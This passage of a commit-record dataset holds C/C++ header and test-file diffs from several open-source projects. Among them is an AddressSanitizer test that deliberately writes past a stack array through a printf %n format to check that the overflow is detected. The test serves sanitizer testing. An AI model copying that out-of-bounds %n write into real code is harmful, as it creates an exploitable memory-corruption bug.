CERT_SUBMISSION_HANDLER_H\n\n#include <string>\n\n#include \"base\/macros.h\"\n#include \"log\/cert_checker.h\"\n#include \"proto\/ct.pb.h\"\n#include \"proto\/serializer.h\"\n#include \"util\/status.h\"\n\n\n\/\/ Parse incoming submissions, do preliminary sanity checks and pass them\n\/\/ through cert checker.\n\/\/ Prepare for signing by parsing the input into an appropriate\n\/\/ log entry structure.\nclass CertSubmissionHandler {\n public:\n  \/\/ Does not take ownership of the cert_checker.\n  explicit CertSubmissionHandler(const cert_trans::CertChecker* cert_checker);\n\n  \/\/ These may change |chain|.\n  \/\/ TODO(pphaneuf): These could return StatusOr<ct::LogEntry>.\n  util::Status ProcessX509Submission(cert_trans::CertChain* chain,\n                                     ct::LogEntry* entry) const;\n  util::Status ProcessPreCertSubmission(cert_trans::PreCertChain* chain,\n                                        ct::LogEntry* entry) const;\n\n  \/\/ For clients, to reconstruct the bytestring under the signature\n  \/\/ from the observed chain. Does not check whether the entry\n  \/\/ has valid format (i.e., does not check length limits).\n  static bool X509ChainToEntry(const cert_trans::CertChain& chain,\n                               ct::LogEntry* entry);\n\n private:\n  const cert_trans::CertChecker* const cert_checker_;\n\n  DISALLOW_COPY_AND_ASSIGN(CertSubmissionHandler);\n};\n\n\n#endif\n","subject":"Remove the unused CertSubmissionHandler::GetRoots method.","message":"Remove the unused CertSubmissionHandler::GetRoots method.\n","lang":"C","license":"apache-2.0","repos":"taknira\/certificate-transparency,taknira\/certificate-transparency,kyprizel\/certificate-transparency,phad\/certificate-transparency,AlCutter\/certificate-transparency,lexibrent\/certificate-transparency,pphaneuf\/certificate-transparency,grandamp\/certificate-transparency,AlCutter\/certificate-transparency,lexibrent\/certificate-transparency,eranmes\/certificate-transparency,benlaurie\/certificate-transparency,grandamp\/certificate-transparency,eranmes\/certificate-transparency,kyprizel\/certificate-transparency,kyprizel\/certificate-transparency,AlCutter\/certificate-transparency,katjoyce\/certificate-transparency,lexibrent\/certificate-transparency,katjoyce\/certificate-transparency,kyprizel\/certificate-transparency,eranmes\/certificate-transparency,AlCutter\/certificate-transparency,RJPercival\/certificate-transparency,AlCutter\/certificate-transparency,katjoyce\/certificate-transparency,phad\/certificate-transparency,katjoyce\/certificate-transparency,grandamp\/certificate-transparency,google\/certificate-transparency,eranmes\/certificate-transparency,katjoyce\/certificate-transparency,kyprizel\/certificate-transparency,taknira\/certificate-transparency,RJPercival\/certificate-transparency,eranmes\/certificate-transparency,kyprizel\/certificate-transparency,taknira\/certificate-transparency,lexibrent\/certificate-transparency,benlaurie\/certificate-transparency,benlaurie\/certificate-transparency,benlaurie\/certificate-transparency,RJPercival\/certificate-transparency,AlCutter\/certificate-transparency,taknira\/certificate-transparency,taknira\/certificate-transparency,katjoyce\/certificate-transparency,eranmes\/certificate-transparency,pphaneuf\/certificate-transparency,AlCutter\/certificate-transparency,eranmes\/certificate-transparency,google\/certificate-transparency,katjoyce\/certificate-transparency,RJPercival\/certificate-transparency,taknira\/certificate-transparency,benlaurie\/certificate-transparency,google\/certificate-transparency,pphaneuf\/certificate-transparency,phad\/certificate-transparency,grandamp\/certificate-transparency,benlaurie\/certificate-transparency,kyprizel\/certificate-transparency,benlaurie\/certificate-transparency,phad\/certificate-transparency,google\/certificate-transparency,pphaneuf\/certificate-transparency"}
{"commit":"b47d70c9531f082cad01e3dd0aa5f1b9827a04b7","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k1\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k2\"\n","subject":"Update driver version to 5.03.00-k2","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k2\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"be8f4e555b466fd790726783222bc622c451e25c","old_file":"tests\/regression\/24-octagon\/17-problem-pointer.c","new_file":"tests\/regression\/24-octagon\/17-problem-pointer.c","old_contents":"","new_contents":"void change(int *p) {\n    (*p)++;\n}\n\nint a;\nint main() {\n    a = 5;\n    int *p = &a;\n    change(p);\n    assert(a - 6 == 0);\n    return 0;\n}","subject":"Add an octagn test for handling pointers","message":"Add an octagn test for handling pointers\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"1ceb72f88deed9c7e12ea0a2fe29fb30e4385adb","old_file":"Socialize\/SZSmartAlertUtils.h","new_file":"Socialize\/SZSmartAlertUtils.h","old_contents":"\/\/\n\/\/  SZSmartAlertUtils.h\n\/\/  SocializeSDK\n\/\/\n\/\/  Created by Nathaniel Griswold on 6\/4\/12.\n\/\/  Copyright (c) 2012 Socialize, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SZSmartAlertUtils : NSObject\n\n+ (BOOL)isAvailable;\n+ (BOOL)handleNotification:(NSDictionary*)userInfo __attribute__((deprecated(\"Please use `openNotification:` (which unconditionally opens the notification), instead\")));\n+ (BOOL)isSocializeNotification:(NSDictionary*)userInfo;\n+ (void)registerDeviceToken:(NSData*)deviceToken;\n+ (BOOL)openNotification:(NSDictionary*)userInfo;\n\n@end","new_contents":"\/\/\n\/\/  SZSmartAlertUtils.h\n\/\/  SocializeSDK\n\/\/\n\/\/  Created by Nathaniel Griswold on 6\/4\/12.\n\/\/  Copyright (c) 2012 Socialize, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SZSmartAlertUtils : NSObject\n\n+ (BOOL)isAvailable;\n+ (BOOL)handleNotification:(NSDictionary*)userInfo; \/\/ __attribute__((deprecated(\"Please use `openNotification:` (which unconditionally opens the notification), instead\")));\n+ (BOOL)isSocializeNotification:(NSDictionary*)userInfo;\n+ (void)registerDeviceToken:(NSData*)deviceToken;\n+ (BOOL)openNotification:(NSDictionary*)userInfo;\n\n@end","subject":"Remove a deprecation for minor-minor release","message":"Remove a deprecation for minor-minor release\n","lang":"C","license":"mit","repos":"socialize\/socialize-sdk-ios,socialize\/socialize-sdk-ios,socialize\/socialize-sdk-ios,dontfallisleep\/socialize-sdk-ios,dontfallisleep\/socialize-sdk-ios,dontfallisleep\/socialize-sdk-ios,socialize\/socialize-sdk-ios,dontfallisleep\/socialize-sdk-ios,dontfallisleep\/socialize-sdk-ios,socialize\/socialize-sdk-ios,dontfallisleep\/socialize-sdk-ios,socialize\/socialize-sdk-ios"}
{"commit":"2a68fda5672af426733fb9bb9c82bf7318cdc9ca","old_file":"src\/gfx\/support\/json.h","new_file":"src\/gfx\/support\/json.h","old_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"rapidjson\/document.h\"\n#include \"glm\/glm.hpp\"\nnamespace redc\n{\n  inline glm::vec3 vec3_from_js(rapidjson::Value const& v) noexcept\n  {\n    return glm::vec3{v[\"x\"].GetDouble(),v[\"y\"].GetDouble(),v[\"z\"].GetDouble()};\n  }\n}\n","new_contents":"\/*\n * Copyright (C) 2015 Luke San Antonio\n * All rights reserved.\n *\/\n#pragma once\n#include \"rapidjson\/document.h\"\n#include \"glm\/glm.hpp\"\nnamespace redc\n{\n  inline glm::vec3 vec3_from_js_object(rapidjson::Value const& v) noexcept\n  {\n    return glm::vec3{v[\"x\"].GetDouble(),v[\"y\"].GetDouble(),v[\"z\"].GetDouble()};\n  }\n  inline glm::vec3 vec3_from_js_array(rapidjson::Value const& v) noexcept\n  {\n    return glm::vec3{v[0].GetDouble(),v[1].GetDouble(),v[2].GetDouble()};\n  }\n}\n","subject":"Update \/ add vec3 => JSON functions","message":"Update \/ add vec3 => JSON functions\n\nAdd support for array vectors like this [0.2, 12.5, 4.1]\n","lang":"C","license":"bsd-3-clause","repos":"RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine,RedCraneStudio\/redcrane-engine"}
{"commit":"05b970c5ed2b69076f340aa96724237883cff995","old_file":"sim\/log2.h","new_file":"sim\/log2.h","old_contents":"#ifndef LOG2_H\n#define LOG2_H\n\ntemplate <typename T>\n#ifdef __GNUC__\n__attribute__((const))\n#endif\nstatic bool IsPowerOfTwo(const T& x)\n{\n    return (x & (x - 1)) == 0;\n}\n\ntemplate<typename T>\n#ifdef __GNUC__\n__attribute__((const))\n#endif\nstatic inline unsigned ilog2(T n)\n{\n    \/\/ returns the first power of two equal to\n    \/\/ or greater than n. For example ilog2(1) = 0, ilog2(4) = 2, ilog2(5) = 3\n    unsigned l = 0;\n    T r = 1;\n    while (r < n)\n    {\n        l++;\n        r *= 2;\n    }\n    return l;\n}\n\n#endif\n","new_contents":"#ifndef LOG2_H\n#define LOG2_H\n\ntemplate <typename T>\n#ifdef __GNUC__\n__attribute__((const))\n#endif\nstatic inline bool IsPowerOfTwo(T x)\n{\n    return (x & (x - 1)) == 0;\n}\n\ntemplate<typename T>\n#ifdef __GNUC__\n__attribute__((const))\n#endif\nstatic inline unsigned ilog2(T n)\n{\n    \/\/ returns the first power of two equal to\n    \/\/ or greater than n. For example ilog2(1) = 0, ilog2(4) = 2, ilog2(5) = 3\n    unsigned l = 0;\n    T r = 1;\n    while (r < n)\n    {\n        l++;\n        r *= 2;\n    }\n    return l;\n}\n\n#endif\n","subject":"Work around an optimization bug in IsPowerOfTwo.","message":"Work around an optimization bug in IsPowerOfTwo.\n","lang":"C","license":"mit","repos":"Bitblade-org\/mgsim,Bitblade-org\/mgsim,Bitblade-org\/mgsim,Bitblade-org\/mgsim"}
{"commit":"5d70a9c23b0d34ea511b8e1705e2c9a8d6d0a435","old_file":"src\/definitions.h","new_file":"src\/definitions.h","old_contents":"#pragma once\n\n#include <cstdint>\n\nusing uint = unsigned int;\n\nusing u8 = uint8_t;\nusing u16 = uint16_t;\nusing s8 = int8_t;\n\nconst int GAMEBOY_WIDTH = 160;\nconst int GAMEBOY_HEIGHT = 144;\n\nconst int CLOCK_RATE = 4194304;\n\nenum class Color {\n    Color0, \/* White *\/\n    Color1, \/* Light gray *\/\n    Color2, \/* Dark gray *\/\n    Color3, \/* Black *\/\n};\n\nstruct Noncopyable {\n    Noncopyable &operator=(const Noncopyable &) = delete;\n    Noncopyable(const Noncopyable &) = delete;\n    Noncopyable() = default;\n};\n","new_contents":"#pragma once\n\n#include <cstdint>\n\nusing uint = unsigned int;\n\nusing u8 = uint8_t;\nusing u16 = uint16_t;\nusing s8 = int8_t;\n\nconst int GAMEBOY_WIDTH = 160;\nconst int GAMEBOY_HEIGHT = 144;\n\nconst int CLOCK_RATE = 4194304;\n\nenum class Color {\n    Color0, \/* White *\/\n    Color1, \/* Light gray *\/\n    Color2, \/* Dark gray *\/\n    Color3, \/* Black *\/\n};\n\nstruct Noncopyable {\n    Noncopyable& operator=(const Noncopyable&) = delete;\n    Noncopyable(const Noncopyable&) = delete;\n    Noncopyable() = default;\n};\n","subject":"Align & and * to the left always","message":"Align & and * to the left always\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"84f52e954b4baee7ad0ad243648bf61e12f2a84c","old_file":"test\/asan\/TestCases\/printf-3.c","new_file":"test\/asan\/TestCases\/printf-3.c","old_contents":"\/\/ RUN: %clang_asan -O2 %s -o %t\n\/\/ RUN: %env_asan_opts=check_printf=1 not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\/\/ RUN: %env_asan_opts=check_printf=0 %run %t 2>&1 | FileCheck --check-prefix=CHECK-OFF %s\n\/\/ RUN: not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\n\/\/ FIXME: printf is not intercepted on Windows yet.\n\/\/ XFAIL: windows-msvc\n\n#include <stdio.h>\nint main() {\n#ifdef _MSC_VER\n  \/\/ FIXME: The test raises a dialog even though it's XFAILd.\n  return 42;\n#endif\n  volatile char c = '0';\n  volatile int x = 12;\n  volatile float f = 1.239;\n  volatile char s[] = \"34\";\n  volatile int n[1];\n  printf(\"%c %d %.3f %s%n\\n\", c, x, f, s, &n[1]);\n  return 0;\n  \/\/ Check that %n is sanitized.\n  \/\/ CHECK-ON: stack-buffer-overflow\n  \/\/ CHECK-ON-NOT: 0 12 1.239 34\n  \/\/ CHECK-OFF: 0 12 1.239 34\n}\n","new_contents":"\/\/ RUN: %clang_asan -O2 %s -o %t\n\/\/ RUN: %env_asan_opts=check_printf=1 not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\/\/ RUN: %env_asan_opts=check_printf=0 %run %t 2>&1 | FileCheck --check-prefix=CHECK-OFF %s\n\/\/ RUN: not %run %t 2>&1 | FileCheck --check-prefix=CHECK-ON %s\n\n\/\/ FIXME: printf is not intercepted on Windows yet.\n\/\/ XFAIL: windows-msvc\n\n\/\/ New Bionic rejects %n\n\/\/ https:\/\/android.googlesource.com\/platform\/bionic\/+\/41398d03b7e8e0dfb951660ae713e682e9fc0336\n\/\/ UNSUPPORTED: android\n\n#include <stdio.h>\nint main() {\n#ifdef _MSC_VER\n  \/\/ FIXME: The test raises a dialog even though it's XFAILd.\n  return 42;\n#endif\n  volatile char c = '0';\n  volatile int x = 12;\n  volatile float f = 1.239;\n  volatile char s[] = \"34\";\n  volatile int n[1];\n  printf(\"%c %d %.3f %s%n\\n\", c, x, f, s, &n[1]);\n  return 0;\n  \/\/ Check that %n is sanitized.\n  \/\/ CHECK-ON: stack-buffer-overflow\n  \/\/ CHECK-ON-NOT: 0 12 1.239 34\n  \/\/ CHECK-OFF: 0 12 1.239 34\n}\n","subject":"Disable test incompatible with new Android","message":"[asan] Disable test incompatible with new Android\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@349705 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"1d25a02b388dbd4c22e6a9338aa96580efbc712a","old_file":"crypto\/openssl_bio_string.h","new_file":"crypto\/openssl_bio_string.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CRYPTO_OPENSSL_BIO_STRING_H_\n#define CRYPTO_OPENSSL_BIO_STRING_H_\n\n#include <string>\n\n#include \"crypto\/crypto_export.h\"\n\n\/\/ From <openssl\/bio.h>\ntypedef struct bio_st BIO;\n\nnamespace crypto {\n\n\/\/ Creates a new BIO that can be used with OpenSSL's various output functions,\n\/\/ and which will write all output directly into |out|. This is primarily\n\/\/ intended as a utility to reduce the amount of copying and separate\n\/\/ allocations when performing extensive string modifications or streaming\n\/\/ within OpenSSL.\n\/\/\n\/\/ Note: |out| must remain valid for the duration of the BIO.\nBIO* CRYPTO_EXPORT BIO_new_string(std::string* out);\n\n}  \/\/ namespace crypto\n\n#endif  \/\/ CRYPTO_OPENSSL_BIO_STRING_H_\n\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CRYPTO_OPENSSL_BIO_STRING_H_\n#define CRYPTO_OPENSSL_BIO_STRING_H_\n\n#include <string>\n\n#include \"crypto\/crypto_export.h\"\n\n\/\/ From <openssl\/bio.h>\ntypedef struct bio_st BIO;\n\nnamespace crypto {\n\n\/\/ Creates a new BIO that can be used with OpenSSL's various output functions,\n\/\/ and which will write all output directly into |out|. This is primarily\n\/\/ intended as a utility to reduce the amount of copying and separate\n\/\/ allocations when performing extensive string modifications or streaming\n\/\/ within OpenSSL.\n\/\/\n\/\/ Note: |out| must remain valid for the duration of the BIO.\nCRYPTO_EXPORT BIO* BIO_new_string(std::string* out);\n\n}  \/\/ namespace crypto\n\n#endif  \/\/ CRYPTO_OPENSSL_BIO_STRING_H_\n\n","subject":"Fix component build with gcc 4.6 on Android.","message":"Fix component build with gcc 4.6 on Android.\n\nCRYPTO_EXPORT macro has to be before the non-void return type.\n\nBUG=None\nTBR=rsleevi@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/296223002\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@272363 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,ltilve\/chromium,chuan9\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,M4sse\/chromium.src,ltilve\/chromium,chuan9\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,dednal\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ltilve\/chromium,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,jaruba\/chromium.src,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,dednal\/chromium.src,dushu1203\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,littlstar\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,dednal\/chromium.src,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,dednal\/chromium.src,axinging\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,Chilledheart\/chromium,littlstar\/chromium.src,littlstar\/chromium.src,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk"}
{"commit":"f505abb7da052e109a55b418dfbf3ebb0a6fd71f","old_file":"PathKit\/PathKit.h","new_file":"PathKit\/PathKit.h","old_contents":"\/\/\n\/\/  PathKit.h\n\/\/  PathKit\n\/\/\n\/\/  Created by Kyle Fuller on 20\/11\/2014.\n\/\/  Copyright (c) 2014 Cocode. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for PathKit.\nFOUNDATION_EXPORT double PathKitVersionNumber;\n\n\/\/! Project version string for PathKit.\nFOUNDATION_EXPORT const unsigned char PathKitVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <PathKit\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  PathKit.h\n\/\/  PathKit\n\/\/\n\/\/  Created by Kyle Fuller on 20\/11\/2014.\n\/\/  Copyright (c) 2014 Cocode. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for PathKit.\nFOUNDATION_EXPORT double PathKitVersionNumber;\n\n\/\/! Project version string for PathKit.\nFOUNDATION_EXPORT const unsigned char PathKitVersionString[];\n","subject":"Remove useless comment from umbrella header","message":"Remove useless comment from umbrella header\n","lang":"C","license":"bsd-2-clause","repos":"weby\/PathKit,weby\/PathKit,kylef\/PathKit,RahulKatariya\/PathKit,kylef\/PathKit,RahulKatariya\/PathKit"}
{"commit":"cb986bca639127f4c4533b7d12a865d8d0d3b2cc","old_file":"bugs\/struct_copy_init_brace.c","new_file":"bugs\/struct_copy_init_brace.c","old_contents":"","new_contents":"struct A\n{\n\tstruct B\n\t{\n\t\tint i, j;\n\t} b, c;\n};\n\nf(struct B *b)\n{\n\tstruct A fine = {\n\t\t.b = *b \/\/ XXX: should be no missing braces warning\n\t};\n\n\tstruct A bad = {\n\t\t.b = { *b }\n\t};\n\n}\n","subject":"Copy init brace conformance example, for structs","message":"Copy init brace conformance example, for structs\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"bd1bb2f7a80f5518a7afbce3f19a547dc2fdc23a","old_file":"testing\/test_irf.c","new_file":"testing\/test_irf.c","old_contents":"#include <stdlib.h>\n#include <glib.h>\n\n#include \"bmi\/bmi_cem.h\"\n\n\nstatic void test_bmi_initialize(void) {\n  BMI_Model *model = (BMI_Model *)malloc(sizeof(BMI_Model));\n  int status;\n\n  register_bmi_cem(model);\n\n  status = model->initialize(NULL, &(model->self));\n\n  g_assert_cmpint(status, ==, BMI_SUCCESS);\n}\n\n\nstatic void test_bmi_update(void) {\n  BMI_Model *model = (BMI_Model *)malloc(sizeof(BMI_Model));\n  int status;\n\n  register_bmi_cem(model);\n\n  status = model->initialize(NULL, &(model->self));\n  g_assert_cmpint(status, ==, BMI_SUCCESS);\n\n  status = model->update(&(model->self));\n  g_assert_cmpint(status, ==, BMI_SUCCESS);\n}\n\n\nint main(int argc, char* argv[]) {\n  g_test_init(&argc, &argv, NULL);\n  g_test_add_func(\"\/bmi\/initialize\", &test_bmi_initialize);\n  \/\/ g_test_add_func(\"\/bmi\/update\", &test_bmi_update);\n\n  return g_test_run();\n}\n","new_contents":"#include <stdlib.h>\n#include <glib.h>\n\n#include \"bmi\/bmi_cem.h\"\n\n\nstatic void test_bmi_initialize(void) {\n  BMI_Model *model = (BMI_Model *)malloc(sizeof(BMI_Model));\n  int status;\n\n  register_bmi_cem(model);\n\n  status = model->initialize(NULL, &(model->self));\n\n  g_assert_cmpint(status, ==, BMI_SUCCESS);\n}\n\n\nstatic void test_bmi_update(void) {\n  BMI_Model *model = (BMI_Model *)malloc(sizeof(BMI_Model));\n  int status;\n\n  register_bmi_cem(model);\n\n  status = model->initialize(NULL, &(model->self));\n  g_assert_cmpint(status, ==, BMI_SUCCESS);\n\n  status = model->update(&(model->self));\n  g_assert_cmpint(status, ==, BMI_SUCCESS);\n}\n\n\nint main(int argc, char* argv[]) {\n  g_test_init(&argc, &argv, NULL);\n  g_test_add_func(\"\/bmi\/initialize\", &test_bmi_initialize);\n  g_test_add_func(\"\/bmi\/update\", &test_bmi_update);\n\n  return g_test_run();\n}\n","subject":"Add test for update function.","message":"Add test for update function.\n","lang":"C","license":"mit","repos":"csdms-contrib\/cem"}
